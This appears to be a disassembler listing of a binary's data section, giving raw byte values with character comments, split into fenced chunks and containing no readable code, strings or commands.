.data:00409066      db      5Fh ; _
.data:00409067      db      32h ; 2
.data:00409068      db      0D1h ; -
.data:00409069      db      0C0h ; +
.data:0040906A      db      9Bh ; ç
.data:0040906B      db      0D5h ; +
.data:0040906C      db      8Fh ; Å
.data:0040906D      db      0C1h ; -
.data:0040906E      db      0BCh ; +
.data:0040906F      db      0F2h ; =
.data:00409070      db      64h ; d
.data:00409071      db      35h ; 5
.data:00409072      db      11h ;
.data:00409073      db      41h ; A
.data:00409074      db      34h ; 4
.data:00409075      db      78h ; x
.data:00409076      db      7Bh ; {
.data:00409077      db      25h ; %
.data:00409078      db      60h ; `
.data:00409079      db      9Ch ; £
.data:0040907A      db      2Ah ; *
.data:0040907B      db      60h ; `
.data:0040907C      db      0A3h ; ú
.data:0040907D      db      0E8h ; F
.data:0040907E      db      0F8h ; °
.data:0040907F      db      0DFh ; -
.data:00409080      db      1Bh ;
.data:00409081      db      6Ch ; l
.data:00409082      db      63h ; c
.data:00409083      db      1Fh ;
.data:00409084      db      0C2h ; -
.data:00409085      db      0B4h ; /
.data:00409086      db      12h ;
.data:00409087      db      0Eh ;
.data:00409088      db      9Eh ; P
.data:00409089      db      32h ; 2
.data:0040908A      db      0E1h ; ß
.data:0040908B      db      2 ;
.data:0040908C      db      0D1h ; -
.data:0040908D      db      4Fh ; O
.data:0040908E      db      66h ; f
.data:0040908F      db      0AFh ; »
.data:00409090      db      15h ;
.data:00409091      db      81h ; ü
.data:00409092      db      0D1h ; -
.data:00409093      db      0CAh ; -
.data:00409094      db      0E0h ; a
.data:00409095      db      95h ; ò
.data:00409096      db      23h ; #
.data:00409097      db      6Bh ; k
.data:00409098      db      0E1h ; ß
.data:00409099      db      92h ; Æ
.data:0040909A      db      3Eh ; >
.data:0040909B      db      33h ; 3
.data:0040909C      db      62h ; b
.data:0040909D      db      0Bh ;
.data:0040909E      db      24h ; $
.data:0040909F      db      3Bh ; ;

```

```

.data:004090A0      db  22h ; "
.data:004090A1      db  0B9h ; /
.data:004090A2      db  0BEh ; +
.data:004090A3      db  0EEh ; e
.data:004090A4      db   0Eh ;
.data:004090A5      db  0A2h ; 6
.data:004090A6      db  0B2h ; /
.data:004090A7      db  85h ; à
.data:004090A8      db  99h ; Ö
.data:004090A9      db  0Dh ;
.data:004090AA      db  0BAh ; /
.data:004090AB      db  0E6h ; µ
.data:004090AC      db   8Ch ; î
.data:004090AD      db   0Ch ;
.data:004090AE      db  72h ; r
.data:004090AF      db  0DEh ; /
.data:004090B0      db  28h ; (
.data:004090B1      db  0F7h ; ~
.data:004090B2      db  0A2h ; 6
.data:004090B3      db  2Dh ; -
.data:004090B4      db  45h ; E
.data:004090B5      db  78h ; x
.data:004090B6      db  12h ;
.data:004090B7      db  0D0h ; -
.data:004090B8      db  0FDh ; ²
.data:004090B9      db  94h ; ö
.data:004090BA      db  0B7h ; +
.data:004090BB      db  95h ; ò
.data:004090BC      db  62h ; b
.data:004090BD      db   8 ;
.data:004090BE      db  7Dh ; }
.data:004090BF      db  64h ; d
.data:004090C0      db  0F0h ; =
.data:004090C1      db  0F5h ; )
.data:004090C2      db  0CCh ; /
.data:004090C3      db  0E7h ; t
.data:004090C4      db  6Fh ; o
.data:004090C5      db  0A3h ; ú
.data:004090C6      db  49h ; I
.data:004090C7      db  54h ; T
.data:004090C8      db  0FAh ; ·
.data:004090C9      db  48h ; H
.data:004090CA      db  7Dh ; }
.data:004090CB      db  87h ; ç
.data:004090CC      db  27h ; '
.data:004090CD      db  0FDh ; ²
.data:004090CE      db  9Dh ; ¥
.data:004090CF      db  0C3h ; +
.data:004090D0      db  1Eh ;
.data:004090D1      db  8Dh ; ì
.data:004090D2      db  3Eh ; >
.data:004090D3      db  0F3h ; =
.data:004090D4      db  41h ; A
.data:004090D5      db  63h ; c
.data:004090D6      db  47h ; G
.data:004090D7      db   0Ah ;
.data:004090D8      db  74h ; t
.data:004090D9      db  0FFh ;
.data:004090DA      db  2Eh ; .
.data:004090DB      db  99h ; Ö
.data:004090DC      db  0ABh ; ½
.data:004090DD      db  6Eh ; n
.data:004090DE      db  6Fh ; o
.data:004090DF      db  3Ah ; :
.data:004090E0      db  37h ; 7
.data:004090E1      db  0FDh ; ²
.data:004090E2      db  0F8h ; 8
.data:004090E3      db  0F4h ; (
.data:004090E4      db  60h ; `
.data:004090E5      db  0DCh ; _

```

```

.data:004090E6      db  12h ;
.data:004090E7      db  0A8h ; ç
.data:004090E8      db  0F8h ; °
.data:004090E9      db  0DDh ; /
.data:004090EA      db  0EBh ; d
.data:004090EB      db  0A1h ; í
.data:004090EC      db   4Ch ; L
.data:004090ED      db  0E1h ; ß
.data:004090EE      db   1Bh ;
.data:004090EF      db   99h ; Ö
.data:004090F0      db   0Dh ;
.data:004090F1      db   6Bh ; k
.data:004090F2      db   6Eh ; n
.data:004090F3      db  0DBh ; /
.data:004090F4      db   10h ;
.data:004090F5      db   55h ; U
.data:004090F6      db   7Bh ; {
.data:004090F7      db  0C6h ; /
.data:004090F8      db   37h ; 7
.data:004090F9      db   2Ch ; ,
.data:004090FA      db   67h ; g
.data:004090FB      db   6Dh ; m
.data:004090FC      db   3Bh ; ;
.data:004090FD      db  0D4h ; +
.data:004090FE      db   65h ; e
.data:004090FF      db   27h ; '
.data:00409100      db    4 ;
.data:00409101      db  0E8h ; F
.data:00409102      db  0D0h ; -
.data:00409103      db  0DCh ; _
.data:00409104      db  0C7h ; /
.data:00409105      db   0Dh ;
.data:00409106      db   29h ; )
.data:00409107      db  0F1h ; ±
.data:00409108      db  0A3h ; ú
.data:00409109      db  0FFh ;
.data:0040910A      db    0 ;
.data:0040910B      db  0CCh ; /
.data:0040910C      db   92h ; Æ
.data:0040910D      db   0Fh ;
.data:0040910E      db   39h ; 9
.data:0040910F      db  0B5h ; /
.data:00409110      db   0Bh ;
.data:00409111      db  0EDh ; f
.data:00409112      db   0Fh ;
.data:00409113      db   69h ; i
.data:00409114      db  0FBh ; v
.data:00409115      db   9Fh ; f
.data:00409116      db   7Bh ; {
.data:00409117      db   66h ; f
.data:00409118      db   9Ch ; £
.data:00409119      db   7Dh ; }
.data:0040911A      db  0DBh ; /
.data:0040911B      db  0CEh ; +
.data:0040911C      db   0Bh ;
.data:0040911D      db  0CFh ; -
.data:0040911E      db   91h ; æ
.data:0040911F      db  0A0h ; á
.data:00409120      db  0A3h ; ú
.data:00409121      db   5Eh ; ^
.data:00409122      db   15h ;
.data:00409123      db  0D9h ; +
.data:00409124      db   88h ; ê
.data:00409125      db   2Fh ; /
.data:00409126      db   13h ;
.data:00409127      db  0BBh ; +
.data:00409128      db   24h ; $
.data:00409129      db  0ADh ; i
.data:0040912A      db   5Bh ; [
.data:0040912B      db   51h ; Q

```

```

.data:0040912C      db 0BFh ; +
.data:0040912D      db 79h ; y
.data:0040912E      db 94h ; ö
.data:0040912F      db 7Bh ; {
.data:00409130      db 0EBh ; d
.data:00409131      db 0D6h ; +
.data:00409132      db 3Bh ; ;
.data:00409133      db 76h ; v
.data:00409134      db 0B3h ; /
.data:00409135      db 2Eh ; .
.data:00409136      db 39h ; 9
.data:00409137      db 37h ; 7
.data:00409138      db 79h ; y
.data:00409139      db 59h ; Y
.data:0040913A      db 11h ;
.data:0040913B      db 0CCh ; /
.data:0040913C      db 97h ; ù
.data:0040913D      db 0E2h ; G
.data:0040913E      db 26h ; &
.data:0040913F      db 80h ; Ç
.data:00409140      db 2Dh ; -
.data:00409141      db 31h ; l
.data:00409142      db 2Eh ; .
.data:00409143      db 0F4h ; (
.data:00409144      db 0A7h ; °
.data:00409145      db 0ADh ; i
.data:00409146      db 42h ; B
.data:00409147      db 68h ; h
.data:00409148      db 3Bh ; ;
.data:00409149      db 2Bh ; +
.data:0040914A      db 6Ah ; j
.data:0040914B      db 0C6h ; /
.data:0040914C      db 0CCh ; /
.data:0040914D      db 4Ch ; L
.data:0040914E      db 75h ; u
.data:0040914F      db 12h ;
.data:00409150      db 1Ch ;
.data:00409151      db 0F1h ; ±
.data:00409152      db 2Eh ; .
.data:00409153      db 78h ; x
.data:00409154      db 37h ; 7
.data:00409155      db 42h ; B
.data:00409156      db 12h ;
.data:00409157      db 6Ah ; j
.data:00409158      db 0E7h ; t
.data:00409159      db 51h ; Q
.data:0040915A      db 92h ; Æ
.data:0040915B      db 0B7h ; +
.data:0040915C      db 0E6h ; µ
.data:0040915D      db 0BBh ; +
.data:0040915E      db 0A1h ; í
.data:0040915F      db 6 ;
.data:00409160      db 50h ; P
.data:00409161      db 63h ; c
.data:00409162      db 0FBh ; v
.data:00409163      db 4Bh ; K
.data:00409164      db 18h ;
.data:00409165      db 10h ;
.data:00409166      db 6Bh ; k
.data:00409167      db 1Ah ;
.data:00409168      db 0FAh ; .
.data:00409169      db 0EDh ; f
.data:0040916A      db 0CAh ; -
.data:0040916B      db 11h ;
.data:0040916C      db 0D8h ; +
.data:0040916D      db 0BDh ; +
.data:0040916E      db 25h ; %
.data:0040916F      db 3Dh ; =
.data:00409170      db 0C9h ; +
.data:00409171      db 0C3h ; +

```

```

.data:00409172      db 0E1h ; ß
.data:00409173      db 0E2h ; G
.data:00409174      db 59h ; Y
.data:00409175      db 16h ;
.data:00409176      db 42h ; B
.data:00409177      db 44h ; D
.data:00409178      db 86h ; â
.data:00409179      db 13h ;
.data:0040917A      db 12h ;
.data:0040917B      db 0Ah ;
.data:0040917C      db 6Eh ; n
.data:0040917D      db 0ECh ; 8
.data:0040917E      db 0Ch ;
.data:0040917F      db 0D9h ; +
.data:00409180      db 2Ah ; *
.data:00409181      db 0EAh ; O
.data:00409182      db 0ABh ; ½
.data:00409183      db 0D5h ; +
.data:00409184      db 4Eh ; N
.data:00409185      db 67h ; g
.data:00409186      db 0AFh ; »
.data:00409187      db 64h ; d
.data:00409188      db 5Fh ; _
.data:00409189      db 0A8h ; j
.data:0040918A      db 86h ; â
.data:0040918B      db 0DAh ; +
.data:0040918C      db 88h ; ê
.data:0040918D      db 0E9h ; T
.data:0040918E      db 0BFh ; +
.data:0040918F      db 0BEh ; +
.data:00409190      db 0FEh ; /
.data:00409191      db 0C3h ; +
.data:00409192      db 0E4h ; S
.data:00409193      db 64h ; d
.data:00409194      db 57h ; W
.data:00409195      db 80h ; Ç
.data:00409196      db 0ECh ; +
.data:00409197      db 9Dh ; ¥
.data:00409198      db 86h ; â
.data:00409199      db 0C0h ; +
.data:0040919A      db 0F7h ; ~
.data:0040919B      db 0F0h ; =
.data:0040919C      db 0F8h ; °
.data:0040919D      db 7Bh ; {
.data:0040919E      db 78h ; x
.data:0040919F      db 60h ; `
.data:004091A0      db 4Dh ; M
.data:004091A1      db 60h ; `
.data:004091A2      db 3 ;
.data:004091A3      db 60h ; `
.data:004091A4      db 46h ; F
.data:004091A5      db 83h ; â
.data:004091A6      db 0FDh ; ²
.data:004091A7      db 0D1h ; -
.data:004091A8      db 0B0h ; /
.data:004091A9      db 1Fh ;
.data:004091AA      db 38h ; 8
.data:004091AB      db 0F6h ; ÷
.data:004091AC      db 4 ;
.data:004091AD      db 0AEh ; «
.data:004091AE      db 45h ; E
.data:004091AF      db 77h ; w
.data:004091B0      db 0CCh ; /
.data:004091B1      db 0FCh ; n
.data:004091B2      db 36h ; 6
.data:004091B3      db 0D7h ; +
.data:004091B4      db 33h ; 3
.data:004091B5      db 6Bh ; k
.data:004091B6      db 42h ; B
.data:004091B7      db 83h ; â

```

```

.data:004091B8      db  71h ; q
.data:004091B9      db  0ABh ; ½
.data:004091BA      db  1Eh ;
.data:004091BB      db  0F0h ; =
.data:004091BC      db  87h ; ç
.data:004091BD      db  41h ; A
.data:004091BE      db  80h ; Ç
.data:004091BF      db  0B0h ; /
.data:004091C0      db  5Fh ; _
.data:004091C1      db  5Eh ; ^
.data:004091C2      db   0 ;
.data:004091C3      db  3Ch ; <
.data:004091C4      db  0BEh ; +
.data:004091C5      db  57h ; W
.data:004091C6      db  0A0h ; á
.data:004091C7      db  77h ; w
.data:004091C8      db  24h ; $
.data:004091C9      db  0AEh ; «
.data:004091CA      db  0E8h ; F
.data:004091CB      db  0BDh ; +
.data:004091CC      db  99h ; Ö
.data:004091CD      db  42h ; B
.data:004091CE      db  46h ; F
.data:004091CF      db  55h ; U
.data:004091D0      db  61h ; a
.data:004091D1      db  2Eh ; .
.data:004091D2      db  58h ; X
.data:004091D3      db  0BFh ; +
.data:004091D4      db  8Fh ; Å
.data:004091D5      db  0F4h ; (
.data:004091D6      db  58h ; X
.data:004091D7      db  4Eh ; N
.data:004091D8      db  0A2h ; Ō
.data:004091D9      db  0FDh ; ²
.data:004091DA      db  0DDh ; /
.data:004091DB      db  0F2h ; =
.data:004091DC      db  38h ; 8
.data:004091DD      db  0EFh ; n
.data:004091DE      db  74h ; t
.data:004091DF      db  0F4h ; (
.data:004091E0      db  0C2h ; -
.data:004091E1      db  0BDh ; +
.data:004091E2      db  89h ; ë
.data:004091E3      db  87h ; ç
.data:004091E4      db  0C3h ; +
.data:004091E5      db  0F9h ; ·
.data:004091E6      db  66h ; f
.data:004091E7      db  53h ; S
.data:004091E8      db  74h ; t
.data:004091E9      db  8Eh ; Å
.data:004091EA      db  0B3h ; /
.data:004091EB      db  0C8h ; +
.data:004091EC      db  55h ; U
.data:004091ED      db  0F2h ; =
.data:004091EE      db  75h ; u
.data:004091EF      db  0B4h ; /
.data:004091F0      db  0B9h ; /
.data:004091F1      db  0D9h ; +
.data:004091F2      db  0FCh ; n
.data:004091F3      db  46h ; F
.data:004091F4      db  61h ; a
.data:004091F5      db  26h ; &
.data:004091F6      db  0EBh ; d
.data:004091F7      db  7Ah ; z
.data:004091F8      db  84h ; ä
.data:004091F9      db  0DFh ; -
.data:004091FA      db  1Dh ;
.data:004091FB      db  8Bh ; i
.data:004091FC      db  79h ; y
.data:004091FD      db  0Eh ;

```

```

.data:004091FE      db  6Ah ; j
.data:004091FF      db  84h ; ä
.data:00409200      db  0E2h ; G
.data:00409201      db  95h ; ð
.data:00409202      db  5Fh ; _
.data:00409203      db  91h ; æ
.data:00409204      db  8Eh ; Ä
.data:00409205      db  59h ; Y
.data:00409206      db  6Eh ; n
.data:00409207      db  46h ; F
.data:00409208      db  70h ; p
.data:00409209      db  57h ; W
.data:0040920A      db  0B4h ; l
.data:0040920B      db  20h ;
.data:0040920C      db  91h ; æ
.data:0040920D      db  55h ; U
.data:0040920E      db  0D5h ; +
.data:0040920F      db  8Ch ; î
.data:00409210      db  4Ch ; L
.data:00409211      db  0DEh ; /
.data:00409212      db   2 ;
.data:00409213      db  0C9h ; +
.data:00409214      db  0E1h ; ß
.data:00409215      db  0ACh ; ¼
.data:00409216      db  0Bh ;
.data:00409217      db  0B9h ; /
.data:00409218      db  0D0h ; -
.data:00409219      db   5 ;
.data:0040921A      db  82h ; é
.data:0040921B      db  0BBh ; +
.data:0040921C      db  48h ; H
.data:0040921D      db  62h ; b
.data:0040921E      db  0A8h ; ç
.data:0040921F      db  11h ;
.data:00409220      db  9Eh ; P
.data:00409221      db  0A9h ; ñ
.data:00409222      db  74h ; t
.data:00409223      db  75h ; u
.data:00409224      db  0B6h ; /
.data:00409225      db  19h ;
.data:00409226      db  7Fh ; •
.data:00409227      db  0B7h ; +
.data:00409228      db   9 ;
.data:00409229      db  0DCh ; _
.data:0040922A      db  0A9h ; ñ
.data:0040922B      db  0E0h ; a
.data:0040922C      db  0A1h ; í
.data:0040922D      db   9 ;
.data:0040922E      db  2Dh ; -
.data:0040922F      db  66h ; f
.data:00409230      db  33h ; 3
.data:00409231      db  46h ; F
.data:00409232      db  32h ; 2
.data:00409233      db  0C4h ; -
.data:00409234      db   2 ;
.data:00409235      db  1Fh ;
.data:00409236      db  5Ah ; Z
.data:00409237      db  0E8h ; F
.data:00409238      db  8Ch ; î
.data:00409239      db  0BEh ; +
.data:0040923A      db  0F0h ; =
.data:0040923B      db   9 ;
.data:0040923C      db  25h ; %
.data:0040923D      db  0A0h ; á
.data:0040923E      db  99h ; Ö
.data:0040923F      db  4Ah ; J
.data:00409240      db  10h ;
.data:00409241      db  0FEh ; /
.data:00409242      db  6Eh ; n
.data:00409243      db  1Dh ;

```

```

.data:00409244      db  1Dh ;
.data:00409245      db  3Dh ; =
.data:00409246      db  0B9h ; /
.data:00409247      db  1Ah ;
.data:00409248      db  0DFh ; -
.data:00409249      db  0A4h ; ñ
.data:0040924A      db  0A5h ; Ñ
.data:0040924B      db  0Bh ;
.data:0040924C      db  0Fh ;
.data:0040924D      db  0F2h ; =
.data:0040924E      db  86h ; á
.data:0040924F      db  0A1h ; í
.data:00409250      db  69h ; i
.data:00409251      db  0F1h ; ±
.data:00409252      db  68h ; h
.data:00409253      db  28h ; (
.data:00409254      db  83h ; â
.data:00409255      db  0DAh ; +
.data:00409256      db  0B7h ; +
.data:00409257      db  0DCh ; -
.data:00409258      db  0FEh ; /
.data:00409259      db   6 ;
.data:0040925A      db  39h ; 9
.data:0040925B      db  57h ; W
.data:0040925C      db  9Bh ; ç
.data:0040925D      db  0CEh ; +
.data:0040925E      db  0E2h ; G
.data:0040925F      db  0A1h ; í
.data:00409260      db  52h ; R
.data:00409261      db  7Fh ; •
.data:00409262      db  0CDh ; -
.data:00409263      db  4Fh ; O
.data:00409264      db   1 ;
.data:00409265      db  5Eh ; ^
.data:00409266      db  11h ;
.data:00409267      db  50h ; P
.data:00409268      db  0FAh ; •
.data:00409269      db  83h ; â
.data:0040926A      db   6 ;
.data:0040926B      db  0A7h ; °
.data:0040926C      db  0C4h ; -
.data:0040926D      db  0B5h ; /
.data:0040926E      db   2 ;
.data:0040926F      db  0A0h ; á
.data:00409270      db  27h ; '
.data:00409271      db  0D0h ; -
.data:00409272      db  0E6h ; μ
.data:00409273      db  0Dh ;
.data:00409274      db  27h ; '
.data:00409275      db  8Ch ; î
.data:00409276      db  0F8h ; °
.data:00409277      db  9Ah ; Ů
.data:00409278      db  41h ; A
.data:00409279      db  86h ; á
.data:0040927A      db  3Fh ; ?
.data:0040927B      db  77h ; w
.data:0040927C      db   6 ;
.data:0040927D      db  4Ch ; L
.data:0040927E      db  60h ; `
.data:0040927F      db  0C3h ; +
.data:00409280      db  0B5h ; /
.data:00409281      db   6 ;
.data:00409282      db  0A8h ; ç
.data:00409283      db  61h ; a
.data:00409284      db  28h ; (
.data:00409285      db  7Ah ; z
.data:00409286      db  17h ;
.data:00409287      db  0F0h ; =
.data:00409288      db  0E0h ; a
.data:00409289      db  86h ; á

```



```

.data:0040928A      db 0F5h ; )
.data:0040928B      db 0C0h ; +
.data:0040928C      db 0AAh ; ~
.data:0040928D      db 58h ; X
.data:0040928E      db 60h ; `
.data:0040928F      db 0 ;
.data:00409290      db 62h ; b
.data:00409291      db 7Dh ; }
.data:00409292      db 0DCh ; _
.data:00409293      db 30h ; 0
.data:00409294      db 0D7h ; +
.data:00409295      db 9Eh ; P
.data:00409296      db 0E6h ; μ
.data:00409297      db 11h ;
.data:00409298      db 63h ; c
.data:00409299      db 0EAh ; O
.data:0040929A      db 38h ; 8
.data:0040929B      db 23h ; #
.data:0040929C      db 94h ; ö
.data:0040929D      db 0DDh ; /
.data:0040929E      db 0C2h ; -
.data:0040929F      db 53h ; S
.data:004092A0      db 34h ; 4
.data:004092A1      db 16h ;
.data:004092A2      db 0C2h ; -
.data:004092A3      db 0C2h ; -
.data:004092A4      db 56h ; V
.data:004092A5      db 0EEh ; e
.data:004092A6      db 0CBh ; -
.data:004092A7      db 0BBh ; +
.data:004092A8      db 0DEh ; /
.data:004092A9      db 0B6h ; /
.data:004092AA      db 0BCh ; +
.data:004092AB      db 90h ; É
.data:004092AC      db 0A1h ; í
.data:004092AD      db 7Dh ; }
.data:004092AE      db 0FCh ; n
.data:004092AF      db 0EBh ; d
.data:004092B0      db 76h ; v
.data:004092B1      db 1Dh ;
.data:004092B2      db 59h ; Y
.data:004092B3      db 0CEh ; +
.data:004092B4      db 9 ;
.data:004092B5      db 0E4h ; S
.data:004092B6      db 5 ;
.data:004092B7      db 6Fh ; o
.data:004092B8      db 88h ; ê
.data:004092B9      db 1 ;
.data:004092BA      db 7Ch ; /
.data:004092BB      db 4Bh ; K
.data:004092BC      db 3Dh ; =
.data:004092BD      db 0Ah ;
.data:004092BE      db 72h ; r
.data:004092BF      db 39h ; 9
.data:004092C0      db 24h ; $
.data:004092C1      db 7Ch ; /
.data:004092C2      db 92h ; Æ
.data:004092C3      db 7Ch ; /
.data:004092C4      db 5Fh ; _
.data:004092C5      db 72h ; r
.data:004092C6      db 0E3h ; p
.data:004092C7      db 86h ; â
.data:004092C8      db 0B9h ; /
.data:004092C9      db 9Dh ; ¥
.data:004092CA      db 4Dh ; M
.data:004092CB      db 72h ; r
.data:004092CC      db 0B4h ; /
.data:004092CD      db 5Bh ; [
.data:004092CE      db 0C1h ; -
.data:004092CF      db 1Ah ;

```

```

.data:004092D0      db 0FCh ; n
.data:004092D1      db 0B8h ; +
.data:004092D2      db 9Eh ; P
.data:004092D3      db 0D3h ; +
.data:004092D4      db 78h ; x
.data:004092D5      db 55h ; U
.data:004092D6      db 54h ; T
.data:004092D7      db 0EDh ; f
.data:004092D8      db 0B5h ; /
.data:004092D9      db 0A5h ; Ñ
.data:004092DA      db 0FCh ; n
.data:004092DB      db 8 ;
.data:004092DC      db 0D3h ; +
.data:004092DD      db 7Ch ; /
.data:004092DE      db 3Dh ; =
.data:004092DF      db 0D8h ; +
.data:004092E0      db 0C4h ; -
.data:004092E1      db 0Fh ;
.data:004092E2      db 0ADh ; i
.data:004092E3      db 4Dh ; M
.data:004092E4      db 5Eh ; ^
.data:004092E5      db 0EFh ; n
.data:004092E6      db 50h ; P
.data:004092E7      db 1Eh ;
.data:004092E8      db 0F8h ; °
.data:004092E9      db 0E6h ; μ
.data:004092EA      db 61h ; a
.data:004092EB      db 0B1h ; /
.data:004092EC      db 0D9h ; +
.data:004092ED      db 14h ;
.data:004092EE      db 85h ; à
.data:004092EF      db 0A2h ; ó
.data:004092F0      db 3Ch ; <
.data:004092F1      db 13h ;
.data:004092F2      db 51h ; Q
.data:004092F3      db 6Ch ; l
.data:004092F4      db 0E7h ; t
.data:004092F5      db 0C7h ; /
.data:004092F6      db 0D5h ; +
.data:004092F7      db 6Fh ; o
.data:004092F8      db 0C4h ; -
.data:004092F9      db 4Eh ; N
.data:004092FA      db 0E1h ; ß
.data:004092FB      db 56h ; V
.data:004092FC      db 0CEh ; +
.data:004092FD      db 0BFh ; +
.data:004092FE      db 2Ah ; *
.data:004092FF      db 36h ; 6
.data:00409300      db 37h ; 7
.data:00409301      db 0C8h ; +
.data:00409302      db 0C6h ; /
.data:00409303      db 0DDh ; /
.data:00409304      db 34h ; 4
.data:00409305      db 32h ; 2
.data:00409306      db 9Ah ; Ů
.data:00409307      db 0D7h ; +
.data:00409308      db 12h ;
.data:00409309      db 82h ; é
.data:0040930A      db 63h ; c
.data:0040930B      db 92h ; Æ
.data:0040930C      db 8Eh ; Ä
.data:0040930D      db 0FAh ; ·
.data:0040930E      db 0Eh ;
.data:0040930F      db 67h ; g
.data:00409310      db 0E0h ; a
.data:00409311      db 0 ;
.data:00409312      db 60h ; `
.data:00409313      db 40h ; @
.data:00409314      db 37h ; 7
.data:00409315      db 0CEh ; +

```

```

.data:00409316      db  39h ; 9
.data:00409317      db  3Ah ; :
.data:00409318      db  0CFh ; -
.data:00409319      db  0F5h ; )
.data:0040931A      db  0FAh ; .
.data:0040931B      db  0D3h ; +
.data:0040931C      db  37h ; 7
.data:0040931D      db  77h ; w
.data:0040931E      db  0C2h ; -
.data:0040931F      db  0ABh ; ½
.data:00409320      db  1Bh ;
.data:00409321      db  2Dh ; -
.data:00409322      db  0C5h ; +
.data:00409323      db  5Ah ; Z
.data:00409324      db  9Eh ; P
.data:00409325      db  67h ; g
.data:00409326      db  0B0h ; /
.data:00409327      db  5Ch ; \
.data:00409328      db  42h ; B
.data:00409329      db  37h ; 7
.data:0040932A      db  0A3h ; ũ
.data:0040932B      db  4Fh ; O
.data:0040932C      db  40h ; @
.data:0040932D      db  27h ; '
.data:0040932E      db  82h ; é
.data:0040932F      db  0D3h ; +
.data:00409330      db  0BEh ; +
.data:00409331      db  9Bh ; ç
.data:00409332      db  0BCh ; +
.data:00409333      db  99h ; Ö
.data:00409334      db  9Dh ; ¥
.data:00409335      db  8Eh ; Ä
.data:00409336      db  11h ;
.data:00409337      db  0D5h ; +
.data:00409338      db  15h ;
.data:00409339      db  73h ; s
.data:0040933A      db  0Fh ;
.data:0040933B      db  0BFh ; +
.data:0040933C      db  7Eh ; ~
.data:0040933D      db  1Ch ;
.data:0040933E      db  2Dh ; -
.data:0040933F      db  0D6h ; +
.data:00409340      db  7Bh ; {
.data:00409341      db  0C4h ; -
.data:00409342      db  0 ;
.data:00409343      db  0C7h ; /
.data:00409344      db  6Bh ; k
.data:00409345      db  1Bh ;
.data:00409346      db  8Ch ; î
.data:00409347      db  0B7h ; +
.data:00409348      db  45h ; E
.data:00409349      db  90h ; É
.data:0040934A      db  0A1h ; í
.data:0040934B      db  21h ; !
.data:0040934C      db  0BEh ; +
.data:0040934D      db  0B1h ; /
.data:0040934E      db  6Eh ; n
.data:0040934F      db  0B2h ; /
.data:00409350      db  0B4h ; /
.data:00409351      db  6Eh ; n
.data:00409352      db  36h ; 6
.data:00409353      db  6Ah ; j
.data:00409354      db  2Fh ; /
.data:00409355      db  0ABh ; ½
.data:00409356      db  48h ; H
.data:00409357      db  57h ; W
.data:00409358      db  79h ; y
.data:00409359      db  6Eh ; n
.data:0040935A      db  94h ; ö
.data:0040935B      db  0BCh ; +

```

```

.data:0040935C      db 0D2h ; -
.data:0040935D      db 76h ; v
.data:0040935E      db 0A3h ; ú
.data:0040935F      db 0C6h ; /
.data:00409360      db 0C8h ; +
.data:00409361      db 0C2h ; -
.data:00409362      db 49h ; I
.data:00409363      db 65h ; e
.data:00409364      db 0EEh ; e
.data:00409365      db 0F8h ; °
.data:00409366      db 0Fh ;
.data:00409367      db 53h ; S
.data:00409368      db 7Dh ; }
.data:00409369      db 0DEh ; /
.data:0040936A      db 8Dh ; ì
.data:0040936B      db 46h ; F
.data:0040936C      db 1Dh ;
.data:0040936D      db 0Ah ;
.data:0040936E      db 73h ; s
.data:0040936F      db 0D5h ; +
.data:00409370      db 0C6h ; /
.data:00409371      db 4Dh ; M
.data:00409372      db 0D0h ; -
.data:00409373      db 4Ch ; L
.data:00409374      db 0DBh ; /
.data:00409375      db 0BBh ; +
.data:00409376      db 39h ; 9
.data:00409377      db 29h ; )
.data:00409378      db 50h ; P
.data:00409379      db 46h ; F
.data:0040937A      db 0BAh ; /
.data:0040937B      db 0A9h ; ¬
.data:0040937C      db 0E8h ; F
.data:0040937D      db 26h ; &
.data:0040937E      db 95h ; ò
.data:0040937F      db 0ACh ; ¼
.data:00409380      db 4 ;
.data:00409381      db 0E3h ; p
.data:00409382      db 5Eh ; ^
.data:00409383      db 0BEh ; +
.data:00409384      db 0F0h ; =
.data:00409385      db 0D5h ; +
.data:00409386      db 0FAh ; ·
.data:00409387      db 0A1h ; í
.data:00409388      db 9Ah ; Ů
.data:00409389      db 51h ; Q
.data:0040938A      db 2Dh ; -
.data:0040938B      db 6Ah ; j
.data:0040938C      db 0E2h ; G
.data:0040938D      db 8Ch ; î
.data:0040938E      db 0EFh ; n
.data:0040938F      db 63h ; c
.data:00409390      db 22h ; "
.data:00409391      db 0EEh ; e
.data:00409392      db 86h ; á
.data:00409393      db 9Ah ; Ů
.data:00409394      db 0B8h ; +
.data:00409395      db 0C2h ; -
.data:00409396      db 89h ; ë
.data:00409397      db 0C0h ; +
.data:00409398      db 0F6h ; ÷
.data:00409399      db 2Eh ; .
.data:0040939A      db 24h ; $
.data:0040939B      db 43h ; C
.data:0040939C      db 0AAh ; ¬
.data:0040939D      db 3 ;
.data:0040939E      db 1Eh ;
.data:0040939F      db 0A5h ; Ñ
.data:004093A0      db 0A4h ; ñ
.data:004093A1      db 0D0h ; -

```

```

.data:004093A2      db 0F2h ; =
.data:004093A3      db 9Ch ; £
.data:004093A4      db 0BAh ; /
.data:004093A5      db 61h ; a
.data:004093A6      db 0C0h ; +
.data:004093A7      db 83h ; â
.data:004093A8      db 4Dh ; M
.data:004093A9      db 6Ah ; j
.data:004093AA      db 0E9h ; T
.data:004093AB      db 9Bh ; ç
.data:004093AC      db 50h ; P
.data:004093AD      db 15h ;
.data:004093AE      db 0E5h ; s
.data:004093AF      db 8Fh ; Å
.data:004093B0      db 0D6h ; +
.data:004093B1      db 5Bh ; [
.data:004093B2      db 64h ; d
.data:004093B3      db 0BAh ; /
.data:004093B4      db 0F9h ; ·
.data:004093B5      db 0A2h ; ó
.data:004093B6      db 26h ; &
.data:004093B7      db 28h ; (
.data:004093B8      db 0E1h ; ß
.data:004093B9      db 3Ah ; :
.data:004093BA      db 3Ah ; :
.data:004093BB      db 0A7h ; °
.data:004093BC      db 86h ; å
.data:004093BD      db 95h ; ò
.data:004093BE      db 0A9h ; ñ
.data:004093BF      db 4Bh ; K
.data:004093C0      db 0E9h ; T
.data:004093C1      db 62h ; b
.data:004093C2      db 55h ; U
.data:004093C3      db 0EFh ; n
.data:004093C4      db 0D3h ; +
.data:004093C5      db 0EFh ; n
.data:004093C6      db 2Fh ; /
.data:004093C7      db 0C7h ; /
.data:004093C8      db 0DAh ; +
.data:004093C9      db 0F7h ; ~
.data:004093CA      db 52h ; R
.data:004093CB      db 0F7h ; ~
.data:004093CC      db 69h ; i
.data:004093CD      db 6Fh ; o
.data:004093CE      db 4 ;
.data:004093CF      db 3Fh ; ?
.data:004093D0      db 59h ; Y
.data:004093D1      db 0Ah ;
.data:004093D2      db 0FAh ; ·
.data:004093D3      db 77h ; w
.data:004093D4      db 15h ;
